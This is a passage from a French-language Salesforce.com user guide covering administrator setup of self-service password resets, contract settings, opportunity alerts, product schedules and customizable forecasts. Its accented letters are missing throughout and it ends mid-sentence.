Si un utilisateur libre-service perd son mot de passe, vous pouvez lui envoyer un nouveau mot de passe par e-mail. Pour
rinitialiser un ou plusieurs mots de passe d'utilisateurs libre-service :
1. Cliquez sur Configuration Personnalisation Libre-service Portail libre-service Utilisateurs.
2. Slectionnez les utilisateurs dont vous souhaitez rinitialiser les mots de passe.
3. Cliquez sur Rinitialiser le(s) mot(s) de passe.

Personnaliser

Guide de l'utilisateur | Personnalisation des paramtres de contrat | 657

4. Cliquez sur OK.

Voir aussi :
Gestion des utilisateurs libre-service

Personnalisation des paramtres de contrat

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier des paramtres de contrat :

Personnaliser l'application

Personnalisez Salesforce.com pour grer le processus interne de gestion de vos contrats. Activez ou dsactivez les avis d'expiration
et le calcul automatique des dates de fin des contrats.
Activation des avis d'expiration des contrats
Dfinissez une option pour envoyer automatiquement des avis par e-mail aux responsables de compte et de contrat lorsque le
contrat arrive expiration. Pour activer ces avis d'expiration :
1. Cliquez sur Configuration Personnalisation Contrats Paramtres.
2. Slectionnez l'option Envoyer par e-mail des avis d'expiration de contrat.
3. Cliquez sur Enregistrer.
Pour interrompre l'envoi d'avis d'expiration, dslectionnez cette case et cliquez sur Enregistrer.
Dsactivation du calcul automatique des dates de fin de contrat
Vos contrats ne comportent pas ncessairement de date de fin ou alors vous prfrez peut-tre que les utilisateurs entrent
eux-mmes cette date. Dans ce cas, dsactivez le calcul automatique de la date de fin des contrats :
1.
2.
3.
4.

Cliquez sur Configuration Personnalisation Contrats Paramtres.

Retirez la coche de la case Calculer automatiquement la date de fin du contrat.
Cliquez sur Enregistrer.
Visualisez les paramtres de prsentation de page et de scurit au niveau des champs des options Date de fin du
contrat, Date de dbut du contrat et Termes du contrat pour vous assurer que les utilisateurs peuvent les
lire ou les modifier, si ncessaire. Reportez-vous Gestion des prsentations de page la page 544 et Vrification de
l'accessibilit du champ la page 565.

Pour activer le calcul automatiquement, cochez cette option et cliquez sur Enregistrer. Si Salesforce.com calcule
automatiquement la date de fin des contrats, celle-ci ne s'affiche pas sur la page de modification des contrats.

Personnaliser

Guide de l'utilisateur | Activation des rappels de mise jour d'opportunit | 658

Remarque: Si l'option Calculer automatiquement la date de fin du contrat est active mais que l'un des champs
Date de dbut du contrat ou Termes du contrat est vide, le champ Date de fin du contrat est vierge galement.

Voir aussi :
Prsentation des contrats

Activation des rappels de mise jour d'opportunit

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour activer ou dsactiver les rappels de mise jour
d'opportunit :

Personnaliser l'application

Des opportunits jour et exactes permettent d'obtenir des prvisions prcises. Assurez-vous que vos opportunits restent
jour en autorisant les responsables planifier des rappels de mise jour d'opportunits: rapports d'opportunits automatiss
que les responsables peuvent personnaliser pour leurs quipes. Par exemple, un responsable peut planifier un rapport
hebdomadaire de toutes les opportunits du trimestre en cours, quel que soit le responsable, et faire distribuer le rapport tous
les membres de l'quipe.
Pour activer les rappels de mise jour d'opportunits pour votre organisation:
1. Cliquez sur Configuration Personnalisation Opportunits Rappels de mise jour.
2. Cliquez sur Modifier.
3. Slectionnez Activer les rappels de mise jour pour mon organisation. Dslectionnez la case pour
dsactiver cette fonction.
4. Vous pouvez galement slectionner Activer automatiquement les rappels pour les utilisateurs avec
des rapports directs si vous souhaitez planifier des rappels de mise jour d'opportunit pour tous les utilisateurs
actuels et ceux que vous ajouterez l'avenir qui ont des rapports directs.
5. Cliquez sur Enregistrer.
6. Cochez les cases situes en regard des utilisateurs activer. Vous pouvez galement cocher la case situe en regard de
l'en-tte de colonne afin de slectionner tous les lments actuellement affichs.Les utilisateurs activs peuvent planifier
un rappel de mise de mise jour d'opportunit. Reportez-vous Planification des rappels de mise jour d'opportunit
la page 37.
7. Cliquez sur Activer. Cliquez sur Dsactiver pour empcher les utilisateurs de crer un rappel de mise jour d'opportunit.
Cette opration permet chaque utilisateur slectionn de planifier des rappels de mise jour d'opportunit pour son quipe.
Vous pouvez activer tous les utilisateurs qui ont des rapports directs.

Voir aussi :
Planification des rappels de mise jour d'opportunit

Personnaliser

Guide de l'utilisateur | Restriction de la modification du prix et de la quantit des produits de l'opportunit | 659

Restriction de la modification du prix et de la quantit des

produits de l'opportunit
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour restreindre la modification du prix et de l'unit :

Personnaliser l'application

Pour s'assurer que les produits de l'opportunit utilisent le prix inscrit dans le catalogue de prix associ, supprimez le champ
Prix de vente de la prsentation de page des produits de l'opportunit.
Pour utiliser une quantit unitaire pour l'ensemble des produits de l'opportunit, supprimez le champ Quantit de la
prsentation de page des produits de l'opportunit.
Remarque: Si vous ne parvenez pas supprimer ces champs de la prsentation de page, contactez salesforce.com pour
activer l'option.

Personnalisation des alertes d'affaires importantes

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour activer les alertes d'affaires importantes :

Autorisation de personnalisation de l'application

Votre organisation peut utiliser des alertes envoyant automatiquement une notification par e-mail pour les opportunits portant
sur des montants importants. Personnalisez cette alerte pour envoyer un e-mail lorsque l'opportunit atteint un certain seuil.
Votre seuil est constitu du montant et de la probabilit de l'opportunit. Par exemple, vous voudrez peut-tre envoyer un
e-mail l'quipe afin de l'informer qu'une opportunit de 500 000 dollars a atteint une probabilit de 90 %.

Voir aussi :
Activation des alertes d'affaires importantes

Activation des alertes d'affaires importantes

Vous pouvez activer une alerte d'opportunit pour votre organisation. Le message d'alerte ressemble la page de dtails d'une
opportunit et inclut la prsentation de page et la langue d'un utilisateur slectionn. Avant de commencer, vous pouvez

Personnaliser

Guide de l'utilisateur | Personnalisation des alertes d'affaires importantes | 660

dterminer l'utilisateur dont les paramtres de prsentation de page et de langue correspondent ceux que vous voulez inclure
dans toutes les alertes. Cet utilisateur doit bnficier de l'autorisation Afficher toutes les donnes.
1. Cliquez sur Configuration Personnalisation Opportunits Alerte d'affaire importante.
2. Saisissez le nom de l'alerte.
3. Entrez une probabilit de dclenchement et un montant de dclenchement dans la devise de l'entreprise.
Une alerte d'opportunit est dclenche pour les opportunits prsentant cette probabilit, et ce montant ou un montant
suprieur. L'alerte se dclenche uniquement pour les opportunits correspondant aux paramtres du seuil de probabilit
de dclenchement et de montant de dclenchement.
Remarque: Une opportunit peut dclencher une alerte d'affaire importante mme si elle est utilise dans une
autre devise que celle de l'entreprise. Le montant d'une opportunit est converti dans la devise d'entreprise, puis
compar au montant de dclenchement. Si vous faites appel la gestion avance des devises, les taux de
change dats sont utiliss.
4.
5.
6.
7.

Cochez la case Active si vous souhaitez activer la nouvelle alerte immdiatement aprs l'avoir enregistre.
Remplissez le champ Nom e-mail "De".
Remplissez le champ partir de l'adresse e-mail.
Slectionnez un utilisateur prsentant les paramtres de prsentation de page d'opportunit, de langue et de devise appropris
pour le contenu des e-mails. Ce profil d'utilisateur doit inclure l'autorisation Afficher toutes les donnes.
Pour les organisations utilisant plusieurs devises, toutes les alertes indiquent le montant dans la devise de l'opportunit. Si
la devise de l'opportunit est diffrente de celle de l'utilisateur slectionn cette tape, les deux devises sont incluses dans
l'e-mail.
Saisissez la liste des destinataires de l'e-mail spars par des virgules. Vous pouvez galement mettre en CC et en CCI
pratiquement tous les destinataires, condition qu'ils aient des adresses lectroniques valides.
Le champ Cci n'est pas disponible si les messages Cci de conformit sont activs dans votre organisation.

8. Cochez la case Notifier le responsable de l'opportunit si vous souhaitez inclure le responsable de l'opportunit
dans les e-mails d'alerte.
9. Cliquez sur Enregistrer.
Remarque: Une alerte d'opportunit envoie une notification la premire fois qu'une opportunit atteint le seuil dfini.
Par consquent, une opportunit atteignant le seuil avec 90 % de probabilit ne dclenche pas d'autres alertes si la
probabilit augmente ultrieurement. Nanmoins, une opportunit ayant dj dclench une alerte, puis retombant
sous le seuil redclenche une alerte si elle repasse au-dessus de ce seuil.
Lorsque vous travaillez distance avec Connect Offline, vous pouvez apporter des modifications aux opportunits qui
dclenchent des alertes. Ces messages d'alerte sont envoys lors de la mise jour des donnes. Pour obtenir des
instructions de mise jour des donnes depuis Connect Offline, reportez-vous Connexion Connect Offline la
page 2044.

Voir aussi :
Personnalisation des alertes d'affaires importantes
Gestion de plusieurs devises

Personnaliser

Guide de l'utilisateur | Configuration des planifications de produits | 661

Configuration des planifications de produits

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer les planifications de produit :

Personnaliser l'application

Crez des planifications de chiffre d'affaires et de quantit par dfaut pour les produits. Les administrateurs peuvent galement
activer les paramtres de planification permettant aux utilisateurs de crer des programmes pour des produits spcifiques selon
les opportunits.
Planification de la quantit
Dtermine les dates, le nombre d'units (la quantit) et la faon dont la facturation ou l'expdition des produits doit tre
chelonne. Votre organisation peut dfinir la faon dont elle souhaite utiliser les planifications de quantit.
Planification du chiffre d'affaires
Dtermine les dates, le montant du chiffre d'affaires et la faon dont la facturation ou l'identification du chiffre pour un
produit doit tre chelonne. L'organisation peut dfinir la faon dont elle souhaite utiliser les planifications de chiffre
d'affaires.
Planification par dfaut
Planification associe un produit dans un catalogue. Les administrateurs peuvent tablir une planification de quantit
ou de chiffre d'affaires par dfaut, ou les deux. chaque ajout de produit une opportunit, les planifications par dfaut
sont utilises. Pour chaque opportunit, les utilisateurs peuvent remplacer les planifications par dfaut.

Activation de planifications
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Pour activer les planifications de votre organisation :

1. Cliquez sur Configuration Personnalisation Produits Configuration de la planification.
2. Cochez les cases appropries pour activer les planifications de quantit et de chiffre d'affaires de votre organisation. Rappelons
que la dsactivation d'un type de planification entrane la suppression automatique de toutes les informations de planification
existantes pour les produits.
Pour connatre la dfinition de chaque type de planification, reportez-vous Configuration des planifications de produits
la page 661.
3. Pour chaque type de planification que vous activez, dterminez si l'activation doit tre automatique ou non pour chacun
des produits de vos catalogues de prix. Cette option permet de slectionner automatiquement la case Planification
de la quantit active ou la case Planification du chiffre d'affaires active des produits du
catalogue de prix.
4. Cliquez sur Enregistrer.

Personnaliser

Guide de l'utilisateur | Activation automatique des catalogues des produits | 662

Pour un plus grand contrle des planifications de chaque produit, les administrateurs ont galement la possibilit de dterminer
les types de planification susceptibles d'tre tablis par les utilisateurs pour chaque produit (reportez-vous Cration et
modification des planifications par dfaut la page 1663).
Remarque: L'activation ou la dsactivation des planifications ne concerne pas les produits archivs Pour plus
d'informations sur les produits archivs, reportez-vous Suppression des produits et des catalogues de prix la page
1672.
Vous ne pouvez pas dsactiver les deux types de planification pour votre entreprise si les planifications sont rfrences
dans un script Apex. Par exemple, si un script rfrence l'objet de planification (reprsent par
OpportunityLineItemSchedule dans le code), vous pouvez dsactiver l'un des types de planification, mais pas
les deux.

Activation automatique des catalogues des produits

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour activer automatiquement les prix des produits :

Personnaliser l'application

Lorsque vous dsactivez un produit, vous souhaitez certainement par la mme occasion dsactiver automatiquement les
catalogues associs. De mme, lorsque vous activez un produit, vous pouvez automatiquement activer les catalogues associs.
1. Cliquez sur Configuration Personnalisation Produits Paramtres.
2. Cochez la case Lorsque vous changez l'indicateur d'activit d'un enregistrement de produit
pour que Salesforce.com transforme automatiquement l'indicateur d'activit de tous les catalogues associs en indicateur
d'activit du produit associ.
Laissez ce champ vierge pour que tous les catalogues associs conservent leur statut lorsque des utilisateurs activent ou
dsactivent un produit.
3. Cliquez sur Enregistrer.

Voir aussi :
Prsentation des produits, des catalogues de prix et des planifications

Personnaliser

Guide de l'utilisateur | Slection des produits sur les opportunits | 663

Slection des produits sur les opportunits

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour activer la slection de produits :

Modifier toutes les donnes

Personnaliser Salesforce.com pour inviter les utilisateurs slectionner un produit en crant une opportunit. L'activation de
cette option facilite l'ajout de produits lors de la cration d'une opportunit.
1. Cliquez sur Configuration Personnalisation Opportunits Paramtres.
2. Cochez la case Inviter les utilisateurs ajouter des produits sur les opportunits pour que
Salesforce.com invite les utilisateurs slectionner un produit lorsqu'ils crent une opportunit.
3. Cliquez sur Enregistrer.
4. Nous vous recommandons de mettre le champ Montant de l'opportunit en lecture seule pour vous assurer que les montants
de l'opportunit proviennent bien des produits de l'opportunit. Reportez-vous Configuration de la scurit au niveau
du champ la page 182.
Remarque: Lorsque la case des produits de l'opportunit est active, Salesforce remplace l'intitul du bouton Enregistrer
par Enregistrer et ajouter le produit sur la page de cration de l'opportunit.

Voir aussi :
Prsentation des produits, des catalogues de prix et des planifications

Utilisation des gammes de produits

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier les gammes de produits :

Personnaliser l'application

Pour regrouper les produits en catgories, utilisez la liste de slection Produit : gamme. Par exemple, si votre socit vend
la fois du matriel et des logiciels, vous pouvez crer les deux gammes de produits suivantes : la gamme Matriel et la gamme
Logiciels.
Si votre organisation dispose de la prvision personnalisable, les utilisateurs peuvent avoir un quota diffrent pour les ventes
de matriel et pour les ventes de logiciels. Les utilisateurs peuvent galement consulter les prvisions des opportunits qui
contiennent des produits de la gamme Matriel sparment de celles qui incluent des produits de la gamme Logiciels.
Reportez-vous Est-ce que je dispose de la prvision personnalisable ? la page 1445

Personnaliser

Guide de l'utilisateur | Activation des opportunits similaires | 664

Pour commencer utiliser les gammes de produits :

Personnalisez la liste de slection Produit : gamme en incluant les diffrentes catgories de produits que vous vendez.
Reportez-vous Modification des listes de slection la page 374.
Pour chaque produit rfrenc dans les catalogues de prix, modifiez le produit, puis slectionnez la valeur adquate Produit
: gamme. Reportez-vous Affichage et modification des produits la page 1660.
Si votre organisation dispose de la prvision personnalisable, dfinissez pour les utilisateurs un quota diffrent pour chaque
gamme de produits. Reportez-vous Configuration des quotas pour les prvisions personnalisables la page 101.
Si votre organisation dispose de la prvision personnalisable, modifiez ventuellement les paramtres des prvisions pour
afficher une gamme prvisionnelle par dfaut prcise lorsque les utilisateurs cliquent sur l'onglet Prvisions. Reportez-vous
Dfinition des paramtres des prvisions personnalisables la page 666.

Voir aussi :
Configuration des prvisions personnalisables

Activation des opportunits similaires

Disponible avec : Enterprise Edition, Unlimited Edition, Developer Edition

Autorisations utilisateur requises

Pour activer des opportunits similaires :

Personnaliser l'application

Dans la page des dtails de l'opportunit, la liste associe Opportunits similaires affiche les opportunits qui correspondent
aux attributs de l'opportunit actuelle. L'activation de cette liste associe permet aux utilisateurs de connatre les associations
entre leurs opportunits et d'autres opportunits dans Salesforce.com.
1. Cliquez sur Configuration Personnalisation Opportunits Opportunits similaires.
2. Cliquez sur Modifier.
3. Slectionnez Activer les opportunits similaires pour ajouter la liste associe Opportunits similaires la
page de dtails de l'opportunit.
4. Modifiez les critres de recherche et les colonnes si ncessaire.
5. Ajoutez la liste associe Opportunits similaires la prsentation de page de l'opportunit. Pour plus d'informations,
reportez-vous Personnalisation des prsentations de page la page 546.
6. Cliquez sur Enregistrer.
Important: L'activation des opportunits similaires offre tous les utilisateurs de votre organisation une visibilit
limite sur les opportunits prives, quelles que soient les rgles de partage et les autorisations de profil. Une fois les
opportunits similaires actives, les utilisateurs peuvent afficher les informations relatives toute opportunit
correspondant aux champs que vous avez choisi d'afficher dans la liste associe Opportunits similaires.
Modification des critres de recherche d'opportunits similaires
Vous pouvez dfinir des champs d'opportunit de correspondance dans les critres de recherche d'opportunits similaires, ainsi
que les colonnes afficher dans la liste associe.

Personnaliser

Guide de l'utilisateur | Activation des opportunits similaires | 665

1. Slectionnez les champs d'opportunit ou les listes associes de correspondance dans les critres de recherche d'opportunits
similaires ou cliquez sur Ajouter. Vous devez slectionner entre trois et dix champs.
Les champs standard suivants sont pris en charge :

Priv
Date de clture
Probabilit (%)
Nom du compte
Source de la campagne principale
Quantit
Origine de la piste
Responsable de l'opportunit
Type

Les listes associes standard suivantes sont pris en charge :

Produits
Rle du contact
Partenaire
Concurrents
quipe de vente

Vous pouvez slectionner tout champ d'opportunit personnalis, l'exception des types de champ suivants :

numro automatique
devise
formule
liste de slection (slection multiple)
rcapitulatif de cumul
texte (crypt)
zone de texte

2. Slectionnez les champs utiliser en tant que colonnes dans la liste associe Opportunits similaires.
a. Slectionnez les colonnes dans la case Colonnes disponibles, puis cliquez sur Ajouter pour les dplacer dans la case
Colonnes slectionnes.
Si ncessaire, slectionnez Supprimer pour dplacer des colonnes de la case Colonnes slectionnes la case Colonnes
disponibles.
Vous pouvez slectionner jusqu' 15 colonnes.
b. Utilisez les flches haut et bas pour organiser les colonnes slectionnes dans l'ordre appropri.
3. Cliquez sur Enregistrer.

Voir aussi :
Affichage et modification des opportunits

Personnaliser

Guide de l'utilisateur | Configuration des prvisions personnalisables | 666

Configuration des prvisions personnalisables

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Les prvisions de ventes reprsentent la meilleure estimation possible du chiffre d'affaires que vous pouvez gnrer. Elles
donnent aux gestionnaires et aux responsables une vue d'ensemble de l'activit mme si les quipes de vente ne sont pas en
contact.
Les prvisions tant universelles, les prvisions personnalisables reprsentent une solution flexible mme pour les exigences les
plus leves. Vous pouvez ensuite commencer utiliser les prvisions personnalisables en cliquant sur Configuration
Personnalisation Prvisions :

Cliquez sur Exercice pour personnaliser vos paramtres d'exercice. Reportez-vous Configuration de l'exercice la page
46.
Cliquez sur Paramtres pour personnaliser les paramtres par dfaut de votre entreprise. Reportez-vous Dfinition des
paramtres des prvisions personnalisables la page 666.
Cliquez sur Hirarchie des prvisions pour configurer la hirarchie et le partage des prvisions. Reportez-vous
Configuration de votre hirarchie des prvisions la page 669.
Cliquez sur Activer la prvision pour lancer les prvisions personnalisables pour votre entreprise et configurer la premire
hirarchie des prvisions. Reportez-vous Activation des prvisions personnalisables la page 672.
Remarque: Si vous ne disposez pas de ces options, les prvisions personnalisables ne sont peut-tre pas installes.
Pour dterminer si votre organisation a activ les prvisions personnalisables, reportez-vous Est-ce que je dispose de
la prvision personnalisable ? la page 1445.

Voir aussi :
Soumission des prvisions personnalisables par lot
Utilisation des gammes de produits
Dfinition des paramtres des prvisions personnalisables
Configuration de votre hirarchie des prvisions
Activation des prvisions personnalisables

Dfinition des paramtres des prvisions personnalisables

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dfinir les paramtres des prvisions :

Dfinissez les paramtres suivants de l'organisation :

Personnaliser l'application

Personnaliser

Guide de l'utilisateur | Dfinition des paramtres des prvisions personnalisables | 667

Le paramtre Agrgation de donnes prvisionnelles dtermine le type de donnes affich dans les prvisions.
Le paramtre Vue par dfaut du rsum prvisionnel dtermine la gamme de produits par dfaut, la date de dbut, la
priode et les numros des prvisions par dfaut.
Le partage des donnes prvisionnelles dtermine si les donnes prvisionnelles peuvent tre partages.

Pour dfinir les options de prvision :

1. Cliquez sur Configuration Personnalisation Prvisions Paramtres.
2. Slectionnez Chiffre d'affaires prvisionnel pour inclure le montant du chiffre d'affaires aux prvisions. La
dsactivation de ce paramtre annule toutes les modifications apportes au chiffre d'affaires dans vos prvisions.
3. Slectionnez Quantit prvisionnelle pour inclure des quantits aux prvisions. La dsactivation de ce paramtre
annule toutes les modifications de quantit apportes aux prvisions.
4. Slectionnez une priode prvisionnelle. Si les exercices personnaliss ne sont pas activs, choisissez un cycle de
prvision mensuel ou trimestriel (selon la configuration de votre entreprise). Si les exercices personnaliss sont activs,
choisissez un cycle de prvision par priode ou par trimestre. La priode de prvision choisie dtermine l'incrment de
temps que votre organisation utilise pour les quotas et les prvisions. Si vous choisissez l'option mensuelle, vous pouvez
toujours visualiser les totaux par trimestre mais si vous slectionnez l'option trimestrielle, les prvisions mensuelles totales
ne sont pas disponibles. La modification de ce paramtre annule toutes les modifications et toutes les prvisions, historique
des prvisions inclus.
5. Choisissez une date prvisionnelle qui dtermine la manire dont les montants d'opportunit contribuent aux
prvisions :

Choisissez Date de clture de l'opportunit pour que le montant total d'opportunits contribue la priode
de prvision de cette date. Cette option est la seule disponible si votre socit n'utilise pas de produits.
Choisissez la date du produit pour que le montant du produit sur l'opportunit contribue la priode de prvision
qui correspond cette date. S'il n'existe aucun produit pour une opportunit ou en l'absence de date du produit,
Salesforce.com utilise pour la remplacer la date de clture de l'opportunit des prvisions utilisateur.
Choisissez Date de planification pour que le montant planifi de chaque chiffre d'affaires contribue aux priodes
de prvision qui correspondent aux dates planifies. Si un produit ne comporte pas de chiffre d'affaires planifi,
Salesforce.com utilise pour le remplacer la date du produit des prvisions utilisateur.

6. Choisissez un type de prvision qui dtermine le nombre de prvisions que vos utilisateurs enverront durant une
priode :

Choisissez Utiliser la prvision globale si votre socit n'utilise pas de produits. Vos utilisateurs disposent
alors d'une prvision et d'un quota pour chaque priode. Cette option est la seule disponible si votre socit n'utilise
pas de produits.
Choisissez Utiliser les gammes de produits si vos utilisateurs possdent un quota et une prvision pour
chaque gamme de produits. Reportez-vous Utilisation des gammes de produits la page 663.

7. Slectionnez la vue par dfaut de vos utilisateurs. Ce paramtre dtermine la gamme de produits par dfaut, la date de
dbut, la priode et les totaux prvisionnels afficher lorsque les utilisateurs cliquent pour la premire fois sur l'onglet
Prvisions. Les utilisateurs peuvent modifier leur vue mais la vue par dfaut reste identique pour tous les utilisateurs.
8. Activez ou dsactivez le partage des prvisions en slectionnant ou dslectionnant l'option Autoriser le partage
des prvisions.
9. Cliquez sur Enregistrer.
Si vous avez activ le partage des prvisions, vous devez choisir qui peut partager les prvisions existantes. Options possibles :

Demander l'aide d'un administrateur pour le partage des donnes prvisionnelles : seuls

les administrateurs peuvent partager les donnes prvisionnelles existantes.

Personnaliser

Guide de l'utilisateur | Dfinition des paramtres des prvisions personnalisables | 668

Les responsables de prvisions peuvent partager leurs donnes prvisionnelles : les

administrateurs peuvent partager les donnes prvisionnelles existantes, et les responsables de prvisions partagent les
leurs.
Remarque: Cette option ne concerne que les prvisions existantes ; cela n'est pas un paramtre par dfaut pour
votre entreprise. Chaque fois que vous modifiez ou affectez un responsable de prvisions dans la hirarchie des
rles, vous devez dfinir qui peut partager cette vue.
Si vous avez choisi de dsactiver le partage de prvisions, vous devez confirmer ce choix.
Remarque: Si vous ne disposez pas de ces options, les prvisions personnalisables ne sont peut-tre pas installes.
Pour dterminer si votre organisation a activ les prvisions personnalisables, reportez-vous Est-ce que je dispose de
la prvision personnalisable ? la page 1445.

Voir aussi :
Configuration des prvisions personnalisables
Partage manuel d'une prvision
Configuration de l'exercice

Configuration de l'exercice
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dfinir l'exercice :

Personnaliser l'application

Votre exercice dtermine votre cycle de prvisions mensuelles ou trimestrielles, le mois de dpart et si l'Exercice est dfini
sur l'anne de dbut ou l'anne de fin. Par exemple, si votre exercice commence en avril 2009 et se termine en mars 2010, la
dfinition de votre exercice peut tre 2009 ou 2010.
Pour dfinir votre exercice pour les prvisions personnalisables :
1. Commencez par archiver vos donnes car la modification des paramtres d'exercice affectent les donnes d'opportunit et
de prvision. Nous recommandons d'excuter et d'exporter les rapports suivants :

En-cours de l'opportunit
Rsum prvisionnel trimestriel
Quota par rapport au rel

2. Cliquez sur Configuration Personnalisation Prvisions Exercice.

3. Choisissez une priode prvisionnelle mensuelle ou trimestrielle en fonction du cycle de prvision de votre
organisation.

Personnaliser

Guide de l'utilisateur | Configuration de votre hirarchie des prvisions | 669

La priode de prvision choisie dtermine l'incrment de temps que votre organisation utilise pour les quotas et les prvisions.
Si vous choisissez l'option mensuelle, vous pouvez toujours visualiser les totaux par trimestre mais si vous slectionnez
l'option trimestrielle, les prvisions mensuelles totales ne sont pas disponibles.
4. Choisissez un Mois de dbut d'exercice qui reprsente le dbut de l'exercice de votre organisation.
5. Slectionnez l'option Exercice bas sur qui reprsente comment votre organisation rfrence un exercice. Par exemple,
si votre exercice commence en avril 2009 et se termine en mars 2010, mais s'intitule Exercice 2010, slectionnez Le mois
de fin car le dernier mois dtermine comment votre organisation rfrence cet exercice.
6. Activez l'option Appliquer toutes les prvisions et tous les quotas uniquement si vous souhaitez
modifier les paramtres d'exercice des prvisions cres avant l'activation des prvisions personnalisables. L'activation de
cette option modifie vos donnes prvisionnelles historiques.
7. Cliquez sur Enregistrer.
Remarque: Si ces options ne sont pas disponibles pour vous, il se peut que les prvisions personnalisables ne soient
pas installes. Reportez-vous Est-ce que je dispose de la prvision personnalisable ? la page 1445 pour dterminer si
votre organisation a activ les prvisions personnalisables.

Voir aussi :
Dfinition des paramtres des prvisions personnalisables

Configuration de votre hirarchie des prvisions

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer la hirarchie des prvisions :

Personnaliser l'application

Votre hirarchie des prvisions rpertorie chaque utilisateur pouvant utiliser les prvisions personnalisables. Elle dtermine la
manire dont les prvisions sont transmises au sein de cette hirarchie. Elle repose sur la hirarchie des rles par dfaut, ou
sur la hirarchie de territoires si votre entreprise possde une fonction de gestion des territoires.
Lorsque les prvisions personnalisables sont actives pour votre entreprise, le systme gnre automatiquement une hirarchie
des prvisions en fonction de la hirarchie des rles de votre entreprise. La hirarchie des prvisions ne se fonde sur votre
hirarchie de territoires que lorsque vous activez la gestion des territoires. Pour personnaliser votre hirarchie des prvisions :

Vrifiez que tous les utilisateurs concerns se situent dans votre hirarchie des prvisions. Si certains devraient l'tre et ne
le sont pas, reportez-vous Activation des prvisions personnalisables pour les utilisateurs la page 670.
Lorsqu'un rle ou un territoire est assign plusieurs utilisateurs dans votre hirarchie des prvisions, vrifiez que le
responsable de prvision est reprsent par l'utilisateur appropri. Le responsable de prvision peut tre n'importe quel
utilisateur au bas de votre hirarchie des prvisions. Toutefois, pour les niveaux suprieurs, un seul utilisateur doit tre
choisi en tant que responsable de prvision afin que les prvisions lui soient transmises. Reportez-vous Affectation de
responsables de prvision dans la hirarchie de prvision la page 671.
Partagez les vues de responsable de prvision avec les autres utilisateurs. Reportez-vous Partage manuel d'une prvision
la page 673.

Personnaliser

Guide de l'utilisateur | Configuration de votre hirarchie des prvisions | 670

Si le terme Aucune fonction de prvision apparat en regard d'un rle ou d'un territoire dans la hirarchie des prvisions,
cela signifie qu'aucun responsable de prvisions n'a t attribu ce rle ou ce territoire.

Voir aussi :
Configuration des prvisions personnalisables
Activation des prvisions personnalisables pour les utilisateurs
Affectation de responsables de prvision dans la hirarchie de prvision

Activation des prvisions personnalisables pour les utilisateurs

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer la hirarchie des prvisions :

Personnaliser l'application

Pour activer les prvisions personnalisables pour vos utilisateurs si votre entreprise n'utilise pas la gestion des territoires :
1. Cliquez sur Configuration Personnalisation Prvisions avances Hirarchie des prvisions.
2. Cliquez sur Activer les utilisateurs en regard d'un rle pour afficher la liste des utilisateurs affects ce niveau.
3. Slectionnez un utilisateur et cliquez sur Ajouter afin d'activer les prvisions personnalisables pour cet utilisateur. Pour
dsactiver un utilisateur, slectionnez-le et cliquez sur Supprimer.
4. Cliquez sur Enregistrer.
Pour activer les prvisions personnalisables pour un utilisateur si votre entreprise utilise la gestion des territoires :
1.
2.
3.
4.
5.

Cliquez sur Configuration Personnalisation Utilisateurs.

Cliquez sur Modifier en regard du nom de l'utilisateur.
Slectionnez Autoriser les prvisions.
Cliquez sur Enregistrer.
Ajouter l'utilisateur un territoire.
Remarque: Pour consulter la liste des utilisateurs d'un territoire, slectionnez le nom du territoire dans la hirarchie
de territoires ou excutez un rapport sur le territoire. Pour plus d'informations concernant les rapports sur les territoires,
reportez-vous Rapports sur les territoires la page 1709.
Si vous ajoutez plusieurs utilisateurs pour un rle ou un territoire, vrifiez que le bon utilisateur est responsable de
prvision dsign du rle ou du territoire. Reportez-vous Affectation de responsables de prvision dans la hirarchie
de prvision la page 671.

Voir aussi :
Configuration de votre hirarchie des prvisions

Personnaliser

Guide de l'utilisateur | Configuration de votre hirarchie des prvisions | 671

Affectation de responsables de prvision dans la hirarchie de prvision

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer la hirarchie des prvisions :

Personnaliser l'application

Aprs avoir activ les prvisions personnalisables, affectez un utilisateur en tant que responsable de prvision chaque rle de
la hirarchie des prvisions. Affecter un utilisateur en tant que responsable de prvision signifie que toutes les prvisions des
utilisateurs situs en dessous de cet utilisateur dans la hirarchie de prvision lui sont transmises. Par exemple, un dirigeant et
un assistant peuvent relever du mme rle, mais le dirigeant est le responsable de prvision dans la hirarchie des prvisions
car toutes les prvisions des subordonns lui sont transmises. Un dirigeant et un assistant peuvent tous deux envoyer des
prvisions, mais les prvisions des autres utilisateurs ne sont pas transmises l'assistant.
Si un rle de la hirarchie des prvisions ne comporte pas de responsable de prvision, ce rle, ainsi que tous ses rles subordonns,
n'apparaissent pas dans vos prvisions.
Si le terme Aucune fonction de prvision apparat en regard d'un rle ou d'un territoire dans la hirarchie des prvisions,
cela signifie qu'aucun responsable de prvisions n'a t attribu ce rle ou ce territoire.
1. Cliquez sur Configuration Personnalisation Prvisions avances Hirarchie des prvisions.
2. Cliquez sur Attribuer un responsable ou Modifier le responsable en regard d'un rle afin de lui affecter un utilisateur
comme responsable de prvision.
Les rles qui ne sont associs aucun rle infrieur n'ont pas de responsables de prvision, sauf si votre entreprise dispose
